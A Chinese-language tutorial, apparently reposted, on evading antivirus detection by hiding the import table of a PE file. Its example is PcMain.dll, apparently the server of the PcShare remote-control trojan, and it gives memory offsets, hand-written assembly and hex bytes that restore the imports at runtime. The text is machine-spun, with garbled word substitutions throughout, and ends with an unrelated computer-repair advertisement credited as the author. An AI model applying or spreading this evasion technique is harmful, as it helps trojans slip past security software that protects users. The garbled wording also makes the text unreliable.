输入表隐藏、加密的原理和手工实现
一、前言:如今对输入表的查杀曾经成为杀毒软件杀毒的一个重要方面,没有一个杀毒软件不把输入表作为查杀的东西,通常的输入表移位、重修曾经不能作为免杀的重要本领,可以说杀毒软件也在逐步进步,而我先前倡导的输入表顺次号重修也由于存在系统兼容性问题不能作为输入表免杀的本领。怎样转变输入表部分的内容与结构,使其与原先的不同,这便是本文要探究的问题。
二、目的:通过本文的学习,可以掌握手工导入输入表和手工加密输入表函数的名称的办法,并能学习到汇编言语的精辟。
三、根本知识
在开始之前,我们先来相识二个kernel32.dll的函数的利用要领,即:kernel32.LoadLibraryA和kernel32.GetProcAddress,它们是本文要用到的二个要害函数。详细的函数先容可以看看这篇文章:《3个脱壳相干的重要函数先容》http://bbs.pediy.com/showthread.php?threadid=20230
1、LoadLibraryA函数
LoadLibrary函数是把指定的可执行模块映射进挪用历程的地址空间。通俗的说,如步伐需要挪用ole32.dll内里的CreateStreamOnHGlobal函数,首先应该用LoadLibraryA函数找到ole32.dll的句柄。然后凭据这个句柄用GetProcAddress找到CreateStreamOnHGlobal的内存指针。
它有一个参数,即静态链接库名称的内存地址。汇编言语是如许实现的(曩昔面为例):
PUSH 10018888 //10018888指向ole32.dll名称。
CALL DWORD PTR DS:[10019990] //10019990是LoadLibraryA的内存指针。
结果放在EAX内里,前往值为模块句柄。
2、GetProcAddress函数
GetProcAddress函数前往指定的输入静态链接库内的函数地址。它有二个参数。汇编言语是如许实现的(曩昔面为例):
PUSH 1001888C //1001888C指向CreateStreamOnHGlobal名称。
PUSH EAX //EAX的值为LoadLibraryA的前往值,即ole32.dll的句柄。
CALL DWORD PTR DS:[1001999C] //1001999C为GetProcAddress函数的内存指针。
结果也放在EAX内里,前往值为DLL输入函数的内存地址。
四、输入表加密东西的原理和优缺点
我在之前的免杀文章中采用了一个加密东西,可以用来加密EXE的输入表,通过这个东西加密之后,整个输入表大部分消散了,只剩下kernel32.dll和它的二个API函数,便是下面先容的二个,LoadLibraryA函数和GetProcAddress函数。它加密的原理便是采用LoadLibraryA函数和GetProcAddress函数在步伐中用代码把加密的输入表DLL的名称以及API函数的名称和内存指针恢复,用汇编言语实现是很简略的。
这个加密东西的缺点是只能加密部分EXE文件(虽然我对加密东西举行了一个修正,但据反应,有些EXE文件照旧不能用来加密输入表),不能加密DLL文件。而且用这个东西加密后再通过我的改壳免杀处置惩罚办事端的要领曾经被瑞星关注了,瑞星就杀在加壳后的输入表GetProcAddress函数上。
五、手工编写输入表隐蔽和加密代码
如今开始本文的重点,便是用手工编写代码转变输入表的结构,隐蔽部分输入表。我们以Pcshare中的PcMain.dll为例,为什么采用这个做为例子,由于下一个教程我预备出DLL改壳免杀的教程,用这个教程为下一个教程做铺垫。
我做二个示范,辨别属于二种情况,一种是隐蔽输入表中链接库DLL和其所有API函数,另外一种是只隐蔽链接库DLL中的某一个API函数。至于加密函数名称,可以采用我的输入表加密函数名称的办法(双字节异或加密),这里不做先容了,一样平常采用隐蔽输入表就可以达到免杀的目的。
PcMain.dll中ole32.dll只有一个函数CreateStreamOnHGlobal,把ole32.dll和其CreateStreamOnHGlobal隐蔽, 另外隐蔽shell32.dll中的ShellExecuteA函数。
1、加空区段。作为代码写入的地区。记住步伐原入口点为100116E3。
2、写入代码。一样平常采用PUSHAD开始,POPAD结束,以避免不须要的错误。同时采用CALL(下一句的地址)和POP结构实现步伐的自定位,通过内存的绝对地位使步伐也能用于DLL文件的输入表隐蔽。
我们记下几个内存值:
步伐新入口点10018000
EBP:10018000
ole32.dll名称肇始内存地址:1001333C(用C32ASM探求,再换算),与EBP的差值为4CC4。
CreateStreamOnHGlobal名称肇始内存地址:10013326(用C32ASM探求,再换算),与EBP的差值为4CDA。
CreateStreamOnHGlobal原步伐中肇始内存指针地址:1001236C(在OD里同时按CTRL和N,再查找),与EBP的差值为5C94。
Shell32.dll名称肇始内存地址:10013318(用C32ASM探求,再换算),与EBP的差值为4CE8。
ShellExecuteA名称肇始内存地址:100132E0(用C32ASM探求,再换算),与EBP的差值为4D20。
ShellExecuteA原步伐中肇始内存指针地址:10012248(在OD里同时按CTRL和N查找),与EBP的差值为5DB8。
LoadLibraryA函数内存指针:100121BC(在OD里同时按CTRL和N),与EBP的差值为5E44。
GetProcAddress函数内存指针:1001210C(在OD里同时按CTRL和N),与EBP的差值为5EF4。
开始写代码,看操作。
代码如下:
10018000 60 pushad
10018001 E8 00000000 call PcMain01.10018006//自定位
10018006 5D pop ebp//EBP的值为本行地址
10018007 83ED 06 sub ebp,6
1001800A 8BDD mov ebx,ebp
1001800C 81EB C44C0000 sub ebx,4CC4//EBX指向ole32.dll名称肇始内存地址
10018012 53 push ebx//作为参数进栈
10018013 8BDD mov ebx,ebp
10018015 81EB 445E0000 sub ebx,5E44//EBX指向LoadLibraryA函数内存指针
1001801B FF13 call dword ptr ds:[ebx]//挪用LoadLibraryA函数
1001801D 8BF8 mov edi,eax//结果放在EDI
1001801F 8BDD mov ebx,ebp
10018021 81EB DA4C0000 sub ebx,4CDA//EBX指向CreateStreamOnHGlobal名称肇始内存地址
10018027 53 push ebx//参数进栈
10018028 57 push edi//参数进栈
10018029 8BDD mov ebx,ebp
1001802B 81EB F45E0000 sub ebx,5EF4//EBX指向GetProcAddress函数内存指针
10018031 FF13 call dword ptr ds:[ebx]//挪用GetProcAddress函数
10018033 8BDD mov ebx,ebp
10018035 81EB 945C0000 sub ebx,5C94//EBX指向CreateStreamOnHGlobal原步伐中肇始内存指针地址
1001803B 8903 mov dword ptr ds:[ebx],eax//将CreateStreamOnHGlobal内存地址放入原内存指针地址
1001803D 8BDD mov ebx,ebp//以下步骤同上,处置惩罚ShellExecuteA
1001803F 81EB E84C0000 sub ebx,4CE8
10018045 53 push ebx
10018046 8BDD mov ebx,ebp
10018048 81EB 445E0000 sub ebx,5E44
1001804E FF13 call dword ptr ds:[ebx]
10018050 8BF8 mov edi,eax
10018052 8BDD mov ebx,ebp
10018054 81EB 204D0000 sub ebx,4D20
1001805A 53 push ebx
1001805B 57 push edi
1001805C 8BDD mov ebx,ebp
1001805E 81EB F45E0000 sub ebx,5EF4
10018064 FF13 call dword ptr ds:[ebx]
10018066 8BDD mov ebx,ebp
10018068 81EB B85D0000 sub ebx,5DB8
1001806E 8903 mov dword ptr ds:[ebx],eax
10018070 61 popad
10018071 - E9 6D96FFFF jmp PcMain01.100116E3//跳回原入口点
二进制代码如下:60 E8 00 00 00 00 5D 83 ED 06 8B DD 81 EB C4 4C 00 00 53 8B DD 81 EB 44 5E 00 00 FF 13 8B F8 8B DD 81 EB DA 4C 00 00 53 57 8B DD 81 EB F4 5E 00 00 FF 13 8B DD 81 EB 94 5C 00 00 89 03 8B DD 81 EB E8 4C 00 00 53 8B DD 81 EB 44 5E 00 00 FF 13 8B F8 8B DD 81 EB 20 4D 00 00 53 57 8B DD 81 EB F4 5E 00 00 FF 13 8B DD 81 EB B8 5D 00 00 89 03 61 E9 6D 96 FF FF
3、删除原链接库DLL和其API函数指针。对付ole32.dll我们采用LORDPE举行操作,我们在输入表里删除ole32.dll,对付ShellExecuteA我们采用C32ASM打开文件,凭据下面的ShellExecuteA原步伐中肇始内存指针地址换算成偏移地址,然后将其填充为00。如许我们的修正就好了。
修正好的输入表里我们删除了ole32.dll,ShellExecuteA虽然在输入表里还存在,但是它的内存指针曾经没有了,可以用OD看下,同样按CTRL和N,找到ShellExecuteA,看它的内存指针酿成了00。我们在Od跟踪下,指针恢复了。
测试上线成功。功能无损。
这种要领实用于所有PE文件,包罗EXE和DLL文件的输入表处置惩罚。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|